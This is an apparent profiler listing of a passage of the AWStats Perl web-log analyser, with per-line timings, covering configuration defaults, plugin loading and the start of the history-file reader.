1691 if ($NbOfLinesForCorruptedLog !~ /^\d+/ || $NbOfLinesForCorruptedLog<1) { $NbOfLinesForCorruptedLog=50; }
1692 if ($Expires !~ /^\d+/) { $Expires=0; }
1693 if ($DecodeUA !~ /[0-1]/) { $DecodeUA=0; }
1694 $MiscTrackerUrl||='/js/awstats_misc_tracker.js';
1695 # Optional accuracy setup section
1696 if ($LevelForWormsDetection !~ /^\d+/) { $LevelForWormsDetection=0; }
1697 if ($LevelForRobotsDetection !~ /^\d+/) { $LevelForRobotsDetection=2; }
1698 if ($LevelForBrowsersDetection !~ /^\w+/) { $LevelForBrowsersDetection=2; } # Can be 'allphones'
1699 if ($LevelForOSDetection !~ /^\d+/) { $LevelForOSDetection=2; }
1700 if ($LevelForRefererAnalyze !~ /^\d+/) { $LevelForRefererAnalyze=2; }
1701 if ($LevelForFileTypesDetection !~ /^\d+/) { $LevelForFileTypesDetection=2; }
1702 if ($LevelForSearchEnginesDetection !~ /^\d+/) { $LevelForSearchEnginesDetection=2; }
1703 if ($LevelForKeywordsDetection !~ /^\d+/) { $LevelForKeywordsDetection=2; }
1704 # Optional extra setup section
1705 foreach my $extracpt (1..@ExtraName-1) {
1706 if ($ExtraStatTypes[$extracpt] !~ /[PHBL]/) { $ExtraStatTypes[$extracpt]='PHBL'; }
1707 if ($MaxNbOfExtra[$extracpt] !~ /^\d+$/ || $MaxNbOfExtra[$extracpt]<1) { $MaxNbOfExtra[$extracpt]=20; }
1708 if ($MinHitExtra[$extracpt] !~ /^\d+$/ || $MinHitExtra[$extracpt]<1) { $MinHitExtra[$extracpt]=1; }
1709 if (! $ExtraFirstColumnValues[$extracpt]) { error("Extra section number $extracpt is defined without ExtraSectionFirstColumnValues$extracpt parameter"); }
1710 if (! $ExtraFirstColumnFormat[$extracpt]) { $ExtraFirstColumnFormat[$extracpt] = '%s'; }
1711 }
1712 # Optional appearance setup section
1713 if ($MaxRowsInHTMLOutput !~ /^\d+/ || $MaxRowsInHTMLOutput<1) { $MaxRowsInHTMLOutput=1000; }
1714 if ($ShowMenu !~ /[01]/) { $ShowMenu=1; }
1715 if ($ShowSummary !~ /[01UVPHB]/) { $ShowSummary='UVPHB'; }
1716 if ($ShowMonthStats !~ /[01UVPHB]/) { $ShowMonthStats='UVPHB'; }
1717 if ($ShowDaysOfMonthStats !~ /[01VPHB]/) { $ShowDaysOfMonthStats='VPHB'; }
1718 if ($ShowDaysOfWeekStats !~ /[01PHBL]/) { $ShowDaysOfWeekStats='PHBL'; }
1719 if ($ShowHoursStats !~ /[01PHBL]/) { $ShowHoursStats='PHBL'; }
1720 if ($ShowDomainsStats !~ /[01PHB]/) { $ShowDomainsStats='PHB'; }
1721 if ($ShowHostsStats !~ /[01PHBL]/) { $ShowHostsStats='PHBL'; }
1722 if ($ShowAuthenticatedUsers !~ /[01PHBL]/) { $ShowAuthenticatedUsers=0; }
1723 if ($ShowRobotsStats !~ /[01HBL]/) { $ShowRobotsStats='HBL'; }
1724 if ($ShowWormsStats !~ /[01HBL]/) { $ShowWormsStats='HBL'; }
1725 if ($ShowEMailSenders !~ /[01HBML]/) { $ShowEMailSenders=0; }
1726 if ($ShowEMailReceivers !~ /[01HBML]/) { $ShowEMailReceivers=0; }
1727 if ($ShowSessionsStats !~ /[01]/) { $ShowSessionsStats=1; }
1728 if ($ShowPagesStats !~ /[01PBEX]/i) { $ShowPagesStats='PBEX'; }
1729 if ($ShowFileTypesStats !~ /[01HBC]/) { $ShowFileTypesStats='HB'; }
1730 if ($ShowFileSizesStats !~ /[01]/) { $ShowFileSizesStats=1; }
1731 if ($ShowOSStats !~ /[01]/) { $ShowOSStats=1; }
1732 if ($ShowBrowsersStats !~ /[01]/) { $ShowBrowsersStats=1; }
1733 if ($ShowScreenSizeStats !~ /[01]/) { $ShowScreenSizeStats=0; }
1734 if ($ShowOriginStats !~ /[01PH]/) { $ShowOriginStats='PH'; }
1735 if ($ShowKeyphrasesStats !~ /[01]/) { $ShowKeyphrasesStats=1; }
1736 if ($ShowKeywordsStats !~ /[01]/) { $ShowKeywordsStats=1; }
1737 if ($ShowClusterStats !~ /[01PHB]/) { $ShowClusterStats=0; }
1738 if ($ShowMiscStats !~ /[01anjdfrqwp]/) { $ShowMiscStats='a'; }
1739 if ($ShowHTTPErrorsStats !~ /[01]/) { $ShowHTTPErrorsStats=1; }
1740 if ($ShowSMTPErrorsStats !~ /[01]/) { $ShowSMTPErrorsStats=0; }
1741 if ($AddDataArrayMonthStats !~ /[01]/) { $AddDataArrayMonthStats=1; }
1742 if ($AddDataArrayShowDaysOfMonthStats !~ /[01]/) { $AddDataArrayShowDaysOfMonthStats=1; }
1743 if ($AddDataArrayShowDaysOfWeekStats !~ /[01]/) { $AddDataArrayShowDaysOfWeekStats=1; }
1744 if ($AddDataArrayShowHoursStats !~ /[01]/) { $AddDataArrayShowHoursStats=1; }
1745 my @maxnboflist=('Domain','HostsShown','LoginShown','RobotShown','WormsShown','PageShown','OsShown','BrowsersShown','ScreenSizesShown','RefererShown','KeyphrasesShown','KeywordsShown','EMailsShown');
1746 my @maxnboflistdefaultval=(10,10,10,10,5,10,10,10,5,10,10,10,20);
1747 foreach my $i (0..(@maxnboflist-1)) {
1748135.5e-54.2e-6 if (! $MaxNbOf{$maxnboflist[$i]} || $MaxNbOf{$maxnboflist[$i]} !~ /^\d+$/ || $MaxNbOf{$maxnboflist[$i]}<1) { $MaxNbOf{$maxnboflist[$i]}=$maxnboflistdefaultval[$i]; }
1749 }
1750 my @minhitlist=('Domain','Host','Login','Robot','Worm','File','Os','Browser','ScreenSize','Refer','Keyphrase','Keyword','EMail');
1751 my @minhitlistdefaultval=(1,1,1,1,1,1,1,1,1,1,1,1,1);
1752 foreach my $i (0..(@minhitlist-1)) {
1753135.0e-53.8e-6 if (! $MinHit{$minhitlist[$i]} || $MinHit{$minhitlist[$i]} !~ /^\d+$/ || $MinHit{$minhitlist[$i]}<1) { $MinHit{$minhitlist[$i]}=$minhitlistdefaultval[$i]; }
1754 }
1755 if ($FirstDayOfWeek !~ /[01]/) { $FirstDayOfWeek=1; }
1756 if ($UseFramesWhenCGI !~ /[01]/) { $UseFramesWhenCGI=1; }
1757 if ($DetailedReportsOnNewWindows !~ /[012]/) { $DetailedReportsOnNewWindows=1; }
1758 if ($ShowLinksOnUrl !~ /[01]/) { $ShowLinksOnUrl=1; }
1759 if ($MaxLengthOfShownURL !~ /^\d+/ || $MaxLengthOfShownURL<1) { $MaxLengthOfShownURL=64; }
1760 if ($ShowLinksToWhoIs !~ /[01]/) { $ShowLinksToWhoIs=0; }
1761 $Logo||='awstats_logo6.png';
1762 $LogoLink||='http://awstats.sourceforge.net';
1763 if ($BarWidth !~ /^\d+/ || $BarWidth<1) { $BarWidth=260; }
1764 if ($BarHeight !~ /^\d+/ || $BarHeight<1) { $BarHeight=90; }
1765 $color_Background =~ s/#//g; if ($color_Background !~ /^[0-9|A-H]+$/i) { $color_Background='FFFFFF'; }
1766 $color_TableBGTitle =~ s/#//g; if ($color_TableBGTitle !~ /^[0-9|A-H]+$/i) { $color_TableBGTitle='CCCCDD'; }
1767 $color_TableTitle =~ s/#//g; if ($color_TableTitle !~ /^[0-9|A-H]+$/i) { $color_TableTitle='000000'; }
1768 $color_TableBG =~ s/#//g; if ($color_TableBG !~ /^[0-9|A-H]+$/i) { $color_TableBG='CCCCDD'; }
1769 $color_TableRowTitle =~ s/#//g; if ($color_TableRowTitle !~ /^[0-9|A-H]+$/i) { $color_TableRowTitle='FFFFFF'; }
1770 $color_TableBGRowTitle =~ s/#//g; if ($color_TableBGRowTitle !~ /^[0-9|A-H]+$/i) { $color_TableBGRowTitle='ECECEC'; }
1771 $color_TableBorder =~ s/#//g; if ($color_TableBorder !~ /^[0-9|A-H]+$/i) { $color_TableBorder='ECECEC'; }
1772 $color_text =~ s/#//g; if ($color_text !~ /^[0-9|A-H]+$/i) { $color_text='000000'; }
1773 $color_textpercent =~ s/#//g; if ($color_textpercent !~ /^[0-9|A-H]+$/i) { $color_textpercent='606060'; }
1774 $color_titletext =~ s/#//g; if ($color_titletext !~ /^[0-9|A-H]+$/i) { $color_titletext='000000'; }
1775 $color_weekend =~ s/#//g; if ($color_weekend !~ /^[0-9|A-H]+$/i) { $color_weekend='EAEAEA'; }
1776 $color_link =~ s/#//g; if ($color_link !~ /^[0-9|A-H]+$/i) { $color_link='0011BB'; }
1777 $color_hover =~ s/#//g; if ($color_hover !~ /^[0-9|A-H]+$/i) { $color_hover='605040'; }
177812.0e-62.0e-6 $color_other =~ s/#//g; if ($color_other !~ /^[0-9|A-H]+$/i) { $color_other='666688'; }
1779 $color_u =~ s/#//g; if ($color_u !~ /^[0-9|A-H]+$/i) { $color_u='FFA060'; }
1780 $color_v =~ s/#//g; if ($color_v !~ /^[0-9|A-H]+$/i) { $color_v='F4F090'; }
1781 $color_p =~ s/#//g; if ($color_p !~ /^[0-9|A-H]+$/i) { $color_p='4477DD'; }
1782 $color_h =~ s/#//g; if ($color_h !~ /^[0-9|A-H]+$/i) { $color_h='66EEFF'; }
1783 $color_k =~ s/#//g; if ($color_k !~ /^[0-9|A-H]+$/i) { $color_k='2EA495'; }
1784 $color_s =~ s/#//g; if ($color_s !~ /^[0-9|A-H]+$/i) { $color_s='8888DD'; }
1785 $color_e =~ s/#//g; if ($color_e !~ /^[0-9|A-H]+$/i) { $color_e='CEC2E8'; }
1786 $color_x =~ s/#//g; if ($color_x !~ /^[0-9|A-H]+$/i) { $color_x='C1B2E2'; }
1787
1788 # Correct param if default value is asked
1789 if ($ShowSummary eq '1') { $ShowSummary = 'UVPHB'; }
1790 if ($ShowMonthStats eq '1') { $ShowMonthStats = 'UVPHB'; }
1791 if ($ShowDaysOfMonthStats eq '1') { $ShowDaysOfMonthStats = 'VPHB'; }
1792 if ($ShowDaysOfWeekStats eq '1') { $ShowDaysOfWeekStats = 'PHBL'; }
1793 if ($ShowHoursStats eq '1') { $ShowHoursStats = 'PHBL'; }
1794 if ($ShowDomainsStats eq '1') { $ShowDomainsStats = 'PHB'; }
1795 if ($ShowHostsStats eq '1') { $ShowHostsStats = 'PHBL'; }
1796 if ($ShowEMailSenders eq '1') { $ShowEMailSenders = 'HBML'; }
1797 if ($ShowEMailReceivers eq '1') { $ShowEMailReceivers = 'HBML'; }
1798 if ($ShowAuthenticatedUsers eq '1') { $ShowAuthenticatedUsers = 'PHBL'; }
1799 if ($ShowRobotsStats eq '1') { $ShowRobotsStats = 'HBL'; }
1800 if ($ShowWormsStats eq '1') { $ShowWormsStats = 'HBL'; }
1801 if ($ShowPagesStats eq '1') { $ShowPagesStats = 'PBEX'; }
1802 if ($ShowFileTypesStats eq '1') { $ShowFileTypesStats = 'HB'; }
1803 if ($ShowOriginStats eq '1') { $ShowOriginStats = 'PH'; }
1804 if ($ShowClusterStats eq '1') { $ShowClusterStats = 'PHB'; }
1805 if ($ShowMiscStats eq '1') { $ShowMiscStats = 'anjdfrqwp'; }
1806
1807 # Convert extra sections data into @ExtraConditionType, @ExtraConditionTypeVal...
1808 foreach my $extranum (1..@ExtraName-1) {
1809 my $part=0;
1810 foreach my $conditioncouple (split(/\s*\|\|\s*/, $ExtraCondition[$extranum])) {
1811 my ($conditiontype, $conditiontypeval)=split(/[,:]/,$conditioncouple,2);
1812 $ExtraConditionType[$extranum][$part]=$conditiontype;
1813 if ($conditiontypeval =~ /^REGEX\[(.*)\]$/i) { $conditiontypeval=$1; }
1814 #else { $conditiontypeval=quotemeta($conditiontypeval); }
1815 $ExtraConditionTypeVal[$extranum][$part]=qr/$conditiontypeval/i;
1816 $part++;
1817 }
1818 $part=0;
1819 foreach my $rowkeycouple (split(/\s*\|\|\s*/, $ExtraFirstColumnValues[$extranum])) {
1820 my ($rowkeytype, $rowkeytypeval)=split(/[,:]/,$rowkeycouple,2);
1821 $ExtraFirstColumnValuesType[$extranum][$part]=$rowkeytype;
1822 if ($rowkeytypeval =~ /^REGEX\[(.*)\]$/i) { $rowkeytypeval=$1; }
1823 #else { $rowkeytypeval=quotemeta($rowkeytypeval); }
1824 $ExtraFirstColumnValuesTypeVal[$extranum][$part]=qr/$rowkeytypeval/i;
1825 $part++;
1826 }
1827 }
1828
1829 # Show definitive value for major parameters
1830 if ($Debug) {
1831 debug(" LogFile='$LogFile'",2);
1832 debug(" LogFormat='$LogFormat'",2);
1833 debug(" LogSeparator='$LogSeparator'",2);
1834 debug(" DNSLookup='$DNSLookup'",2);
1835 debug(" DirData='$DirData'",2);
1836 debug(" DirCgi='$DirCgi'",2);
1837 debug(" DirIcons='$DirIcons'",2);
1838 debug(" SiteDomain='$SiteDomain'",2);
1839 debug(" MiscTrackerUrl='$MiscTrackerUrl'",2);
1840 foreach (keys %MaxNbOf) { debug(" MaxNbOf{$_}=$MaxNbOf{$_}",2); }
1841 foreach (keys %MinHit) { debug(" MinHit{$_}=$MinHit{$_}",2); }
1842 foreach my $extranum (1..@ExtraName-1) {
1843 debug(" ExtraCodeFilter[$extranum] is array ".join(',',@{$ExtraCodeFilter[$extranum]}),2);
1844 debug(" ExtraConditionType[$extranum] is array ".join(',',@{$ExtraConditionType[$extranum]}),2);
1845 debug(" ExtraConditionTypeVal[$extranum] is array ".join(',',@{$ExtraConditionTypeVal[$extranum]}),2);
1846 debug(" ExtraFirstColumnFunction[$extranum] is array ".join(',',@{$ExtraFirstColumnFunction[$extranum]}),2);
1847 debug(" ExtraFirstColumnValuesType[$extranum] is array ".join(',',@{$ExtraFirstColumnValuesType[$extranum]}),2);
1848 debug(" ExtraFirstColumnValuesTypeVal[$extranum] is array ".join(',',@{$ExtraFirstColumnValuesTypeVal[$extranum]}),2);
1849 }
1850 }
1851
1852 # Deny URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters both set
1853 if (@URLWithQueryWithOnly && @URLWithQueryWithout) {
1854 error("URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters can't be both set at the same time");
1855 }
1856 # Deny $ShowHTTPErrorsStats and $ShowSMTPErrorsStats both set
1857 if ($ShowHTTPErrorsStats && $ShowSMTPErrorsStats) {
1858 error("ShowHTTPErrorsStats and ShowSMTPErrorsStats can't be both set at the same time");
1859 }
1860
1861 # Deny LogFile if contains a pipe and PurgeLogFile || ArchiveLogRecords set on
1862 if (($PurgeLogFile || $ArchiveLogRecords) && $LogFile =~ /\|\s*$/) {
1863 error("A pipe in log file name is not allowed if PurgeLogFile and ArchiveLogRecords are not set to 0");
1864 }
1865 # If not a migrate, check if DirData is OK
1866 if (! $MigrateStats && ! -d $DirData) {
1867 if ($CreateDirDataIfNotExists) {
1868 if ($Debug) { debug(" Make directory $DirData",2); }
1869 my $mkdirok=mkdir "$DirData", 0766;
1870 if (! $mkdirok) { error("$PROG failed to create directory DirData (DirData=\"$DirData\", CreateDirDataIfNotExists=$CreateDirDataIfNotExists)."); }
1871 }
1872 else {
1873 error("AWStats database directory defined in config file by 'DirData' parameter ($DirData) does not exist or is not writable.");
1874 }
1875 }
1876
1877 if ($LogType eq 'S') { $NOTSORTEDRECORDTOLERANCE=1000000; }
1878}
1879
1880
1881#------------------------------------------------------------------------------
1882# Function: Common function used by init function of plugins
1883# Parameters: AWStats version required by plugin
1884# Input: $VERSION
1885# Output: None
1886# Return: '' if ok, "Error: xxx" if error
1887#------------------------------------------------------------------------------
1888
# spent 51µs within main::Check_Plugin_Version which was called # once (51µs+0) by main::Init_geoip at line 57 of plugins/geoip.pm
sub Check_Plugin_Version {
188984.3e-55.4e-6 my $PluginNeedAWStatsVersion=shift;
1890 if (! $PluginNeedAWStatsVersion) { return 0; }
1891 $VERSION =~ /^(\d+)\.(\d+)/;
1892 my $numAWStatsVersion=($1*1000)+$2;
1893 $PluginNeedAWStatsVersion =~ /^(\d+)\.(\d+)/;
1894 my $numPluginNeedAWStatsVersion=($1*1000)+$2;
1895 if ($numPluginNeedAWStatsVersion > $numAWStatsVersion) {
1896 return "Error: AWStats version $PluginNeedAWStatsVersion or higher is required. Detected $VERSION.";
1897 }
1898 return '';
1899}
1900
1901
1902#------------------------------------------------------------------------------
1903# Function: Return a checksum for an array of string
1904# Parameters: Array of string
1905# Input: None
1906# Output: None
1907# Return: Checksum number
1908#------------------------------------------------------------------------------
1909sub CheckSum {
1910 my $string=shift;
1911 my $checksum=0;
1912# use MD5;
1913# $checksum = MD5->hexhash($string);
1914 my $i=0; my $j=0;
1915 while ($i < length($string)) {
1916 my $c=substr($string,$i,1);
1917 $checksum+=(ord($c)<<(8*$j));
1918 if ($j++ > 3) { $j=0; }
1919 $i++;
1920 }
1921 return $checksum;
1922}
1923
1924
1925#------------------------------------------------------------------------------
1926# Function: Load plugins files
1927# Parameters: None
1928# Input: $DIR @PluginsToLoad
1929# Output: None
1930# Return: None
1931#------------------------------------------------------------------------------
1932
# spent 139ms (76.2+63.1) within main::Read_Plugins which was called # once (76.2ms+63.1ms) at line 5865
sub Read_Plugins {
1933 # Check plugin files in common possible directories :
1934 # Windows and standard package: "$DIR/plugins" (plugins in same dir than awstats.pl)
1935 # Redhat : "/usr/local/awstats/wwwroot/cgi-bin/plugins"
1936 # Debian package : "/usr/share/awstats/plugins"
193752.0e-54.0e-6 my @PossiblePluginsDir=("$DIR/plugins","/usr/local/awstats/wwwroot/cgi-bin/plugins","/usr/share/awstats/plugins");
1938 my %DirAddedInINC=();
1939
1940 #Removed for security reason
1941 #foreach my $key (keys %NoLoadPlugin) { if ($NoLoadPlugin{$key} < 0) { push @PluginsToLoad, $key; } }
1942 if ($Debug) { debug("Call to Read_Plugins with list: ".join(',',@PluginsToLoad)); }
1943 foreach my $plugininfo (@PluginsToLoad) {
194473.2e-54.6e-6 my ($pluginfile,$pluginparam)=split(/\s+/,$plugininfo,2);
1945 $pluginparam||=""; # If split has only on part, pluginparam is not initialized
1946 $pluginfile =~ s/\.pm$//i;
1947 $pluginfile =~ /([^\/\\]+)$/;
1948 my $pluginname=$1; # pluginname is pluginfile without any path
1949 # Check if plugin is not disabled
1950 if ($NoLoadPlugin{$pluginname} && $NoLoadPlugin{$pluginname} > 0) {
1951 if ($Debug) { debug(" Plugin load for '$pluginfile' has been disabled from parameters"); }
1952 next;
1953 }
195415.0e-65.0e-6 if ($pluginname) {
195543.8e-59.5e-6 if (! $PluginsLoaded{'init'}{"$pluginname"}) { # Plugin not already loaded
1956 my %pluginisfor=('timehires'=>'u','ipv6'=>'u','hashfiles'=>'u',
1957 'geoipfree'=>'u',
1958 'geoip'=>'ou','geoip_region_maxmind'=>'mou','geoip_city_maxmind'=>'mou','geoip_isp_maxmind'=>'mou','geoip_org_maxmind'=>'mou',
1959 'timezone'=>'ou',
1960 'decodeutfkeys'=>'o','hostinfo'=>'o','rawlog'=>'o','userinfo'=>'o','urlalias'=>'o','tooltips'=>'o');
196136.0e-62.0e-6 if ($pluginisfor{$pluginname}) { # If it's a known plugin, may be we don't need to load it
1962 # Do not load "menu handler plugins" if output only and mainleft frame
1963 if (! $UpdateStats && scalar keys %HTMLOutput && $FrameName eq 'mainleft' && $pluginisfor{$pluginname} !~ /m/) { $PluginsLoaded{'init'}{"$pluginname"}=1; next; }
1964 # Do not load "update plugins" if output only
1965 if (! $UpdateStats && scalar keys %HTMLOutput && $pluginisfor{$pluginname} !~ /o/) { $PluginsLoaded{'init'}{"$pluginname"}=1; next; }
1966 # Do not load "output plugins" if update only
1967 if ($UpdateStats && ! scalar keys %HTMLOutput && $pluginisfor{$pluginname} !~ /u/) { $PluginsLoaded{'init'}{"$pluginname"}=1; next; }
1968 }
1969 # Load plugin
1970 foreach my $dir (@PossiblePluginsDir) {
197140.000610.00015 my $searchdir=$dir;
1972 if ($searchdir && (!($searchdir =~ /\/$/)) && (!($searchdir =~ /\\$/)) ) { $searchdir .= "/"; }
1973 my $pluginpath="${searchdir}${pluginfile}.pm";
1974160.001227.7e-5 if (-s "$pluginpath") {
1975 $PluginDir="${searchdir}"; # Set plugin dir
1976 if ($Debug) { debug(" Try to init plugin '$pluginname' ($pluginpath) with param '$pluginparam'",1); }
197727.0e-63.5e-6 if (! $DirAddedInINC{"$dir"}) {
1978 push @INC, "$dir";
1979 $DirAddedInINC{"$dir"}=1;
1980 }
1981 my $loadret=0;
1982 my $modperl=$ENV{"MOD_PERL"}? eval { require mod_perl; $mod_perl::VERSION >= 1.99 ? 2 : 1 } : 0;
198310.001090.00109 if ($modperl == 2) { $loadret=require "$pluginpath"; }
1984 else { $loadret=require "$pluginfile.pm"; }
1985 if (! $loadret || $loadret =~ /^error/i) {
1986 # Load failed, we stop here
1987 error("Plugin load for plugin '$pluginname' failed with return code: $loadret");
1988 }
1989 my $ret; # To get init return
1990 my $initfunction="\$ret=Init_$pluginname('$pluginparam')";
199114.3e-54.3e-5 my $initret=eval("$initfunction");
# spent 774µs making 1 call to main::Init_geoip
1992 if ($initret && $initret eq 'xxx') { $initret='Error: The PluginHooksFunctions variable defined in plugin file does not contain list of hooked functions'; }
1993 if (! $initret || $initret =~ /^error/i) {
1994 # Init function failed, we stop here
1995 error("Plugin init for plugin '$pluginname' failed with return code: ".($initret?"$initret":"$@ (A module required by plugin might be missing)."));
1996 }
1997 # Plugin load and init successfull
1998 foreach my $elem (split(/\s+/,$initret)) {
1999 # Some functions can only be plugged once
2000155.4e-53.6e-6 my @uniquefunc=('GetCountryCodeByName','GetCountryCodeByAddr','ChangeTime','GetTimeZoneTitle','GetTime','SearchFile','LoadCache','SaveHash','ShowMenu');
2001 my $isuniquefunc=0;
2002 foreach my $function (@uniquefunc) {
2003184.6e-52.6e-6 if ("$elem" eq "$function") {
2004 # We try to load a 'unique' function, so we check and stop if already loaded
2005 foreach my $otherpluginname (keys %{$PluginsLoaded{"$elem"}}) {
2006 error("Conflict between plugin '$pluginname' and '$otherpluginname'. They both implements the 'must be unique' function '$elem'.\nYou must choose between one of them. Using together is not possible.");
2007 }
2008 $isuniquefunc=1;
2009 last;
2010 }
2011 }
201214.0e-64.0e-6 if ($isuniquefunc) {
2013 # TODO Use $PluginsLoaded{"$elem"}="$pluginname"; for unique func
2014 $PluginsLoaded{"$elem"}{"$pluginname"}=1;
2015 }
2016 else { $PluginsLoaded{"$elem"}{"$pluginname"}=1; }
2017 if ("$elem" =~ /SectionInitHashArray/) { $AtLeastOneSectionPlugin=1; }
2018 }
2019 $PluginsLoaded{'init'}{"$pluginname"}=1;
2020 if ($Debug) { debug(" Plugin '$pluginname' now hooks functions '$initret'",1); }
2021 last;
2022 }
2023 }
2024 if (! $PluginsLoaded{'init'}{"$pluginname"}) {
2025 error("AWStats config file contains a directive to load plugin \"$pluginname\" (LoadPlugin=\"$plugininfo\") but AWStats can't open plugin file \"$pluginfile.pm\" for read.\nCheck if file is in \"".($PossiblePluginsDir[0])."\" directory and is readable.");
2026 }
2027 }
2028 else {
2029 warning("Warning: Tried to load plugin \"$pluginname\" twice. Fix config file.");
2030 }
2031 }
2032 else {
2033 error("Plugin \"$pluginfile\" is not a valid plugin name.");
2034 }
2035 }
2036 # In output mode, geo ip plugins are not loaded, so message changes are done here (can't be done in plugin init function)
2037 if ($PluginsLoaded{'init'}{'geoip'} || $PluginsLoaded{'init'}{'geoipfree'}) { $Message[17]=$Message[25]=$Message[148]; }
2038}
2039
2040#------------------------------------------------------------------------------
2041# Function: Read history file and create or update tmp history file
2042# Parameters: year,month,day,hour,withupdate,withpurge,part_to_load[,lastlinenb,lastlineoffset,lastlinechecksum]
2043# Input: $DirData $PROG $FileSuffix $LastLine $DatabaseBreak
2044# Output: None
2045# Return: Tmp history file name created/updated or '' if withupdate is 0
2046#------------------------------------------------------------------------------
2047sub Read_History_With_TmpUpdate {
2048
2049 my $year=sprintf("%04i",shift||0);
2050 my $month=sprintf("%02i",shift||0);
2051 my $day=shift; if ($day ne '') { $day=sprintf("%02i",$day); }
2052 my $hour=shift; if ($hour ne '') { $hour=sprintf("%02i",$hour); }
2053 my $withupdate=shift||0;
2054 my $withpurge=shift||0;
2055 my $part=shift||'';
2056
2057 my ($date,$filedate)=('','');
2058 if ($DatabaseBreak eq 'month') { $date=sprintf("%04i%02i",$year,$month); $filedate=sprintf("%02i%04i",$month,$year); }
2059 elsif ($DatabaseBreak eq 'year') { $date=sprintf("%04i%",$year); $filedate=sprintf("%04i",$year); }
2060 elsif ($DatabaseBreak eq 'day') { $date=sprintf("%04i%02i%02i",$year,$month,$day); $filedate=sprintf("%02i%04i%02i",$month,$year,$day); }
2061 elsif ($DatabaseBreak eq 'hour') { $date=sprintf("%04i%02i%02i%02i",$year,$month,$day,$hour); $filedate=sprintf("%02i%04i%02i%02i",$month,$year,$day,$hour); }
2062
2063 my $xml=($BuildHistoryFormat eq 'xml'?1:0);
2064 my $xmleb='</table><nu>'; my $xmlrb='<tr><td>';
2065
2066 my $lastlinenb=shift||0;
2067 my $lastlineoffset=shift||0;
2068 my $lastlinechecksum=shift||0;
2069
2070 my %allsections=('general'=>1,'misc'=>2,'time'=>3,'visitor'=>4,'day'=>5,
2071 'domain'=>6,'cluster'=>7,'login'=>8,'robot'=>9,'worms'=>10,'emailsender'=>11,'emailreceiver'=>12,
2072 'session'=>13,'sider'=>14,'filetypes'=>15,
2073 'os'=>16,'browser'=>17,'screensize'=>18,'unknownreferer'=>19,'unknownrefererbrowser'=>20,
2074 'origin'=>21,'sereferrals'=>22,'pagerefs'=>23,
2075 'searchwords'=>24,'keywords'=>25,
2076 'errors'=>26);
2077
2078 my $order=(scalar keys %allsections)+1;
2079 foreach (keys %TrapInfosForHTTPErrorCodes) { $allsections{"sider_$_"}=$order++; }
2080 foreach (1..@ExtraName-1) { $allsections{"extra_$_"}=$order++; }
2081 foreach (keys %{$PluginsLoaded{'SectionInitHashArray'}}) { $allsections{"plugin_$_"}=$order++; }
2082 my $withread=0;
2083
2084 # Variable used to read old format history files
2085 my $readvisitorforbackward=0;
2086
2087 if ($Debug) { debug("Call to Read_History_With_TmpUpdate [$year,$month,$day,$hour,withupdate=$withupdate,withpurge=$withpurge,part=$part,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]"); }
2088 if ($Debug) { debug("date=$date"); }
2089
2090 # Define SectionsToLoad (which sections to load)
2091 my %SectionsToLoad = ();
2092 if ($part eq 'all') { # Load all needed sections
2093 my $order=1;
2094 $SectionsToLoad{'general'}=$order++;
2095 # When
2096 $SectionsToLoad{'time'}=$order++; # Always loaded because needed to count TotalPages, TotalHits, TotalBandwidth
2097 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ShowHostsStats) || $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} || $HTMLOutput{'unknownip'}) { $SectionsToLoad{'visitor'}=$order++; } # Must be before day, sider and session section
2098 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && ($ShowDaysOfWeekStats || $ShowDaysOfMonthStats)) || $HTMLOutput{'alldays'}) { $SectionsToLoad{'day'}=$order++; }
2099 # Who
2100 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ShowDomainsStats) || $HTMLOutput{'alldomains'}) { $SectionsToLoad{'domain'}=$order++; }
2101 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ShowAuthenticatedUsers) || $HTMLOutput{'alllogins'} || $HTMLOutput{'lastlogins'}) { $SectionsToLoad{'login'}=$order++; }
2102 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ShowRobotsStats) || $HTMLOutput{'allrobots'} || $HTMLOutput{'lastrobots'}) { $SectionsToLoad{'robot'}=$order++; }
2103 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ShowWormsStats) || $HTMLOutput{'allworms'} || $HTMLOutput{'lastworms'}) { $SectionsToLoad{'worms'}=$order++; }
2104 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ShowEMailSenders) || $HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'}) { $SectionsToLoad{'emailsender'}=$order++; }
2105 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ShowEMailReceivers) || $HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'}) { $SectionsToLoad{'emailreceiver'}=$order++; }
2106 # Navigation
2107 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ShowSessionsStats) || $HTMLOutput{'sessions'}) { $SectionsToLoad{'session'}=$order++; }
2108 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ShowPagesStats) || $HTMLOutput{'urldetail'} || $HTMLOutput{'urlentry'} || $HTMLOutput{'urlexit'}) { $SectionsToLoad{'sider'}=$order++; }
2109 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ShowFileTypesStats) || $HTMLOutput{'filetypes'}) { $SectionsToLoad{'filetypes'}=$order++; }
2110 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ShowOSStats) || $HTMLOutput{'osdetail'}) { $SectionsToLoad{'os'}=$order++; }
2111 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ShowBrowsersStats) || $HTMLOutput{'browserdetail'}) { $SectionsToLoad{'browser'}=$order++; }
2112 if ($UpdateStats || $MigrateStats || $HTMLOutput{'unknownos'}) { $SectionsToLoad{'unknownreferer'}=$order++; }
2113 if ($UpdateStats || $MigrateStats || $HTMLOutput{'unknownbrowser'}) { $SectionsToLoad{'unknownrefererbrowser'}=$order++; }
2114 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ShowScreenSizeStats)) { $SectionsToLoad{'screensize'}=$order++; }
2115 # Referers
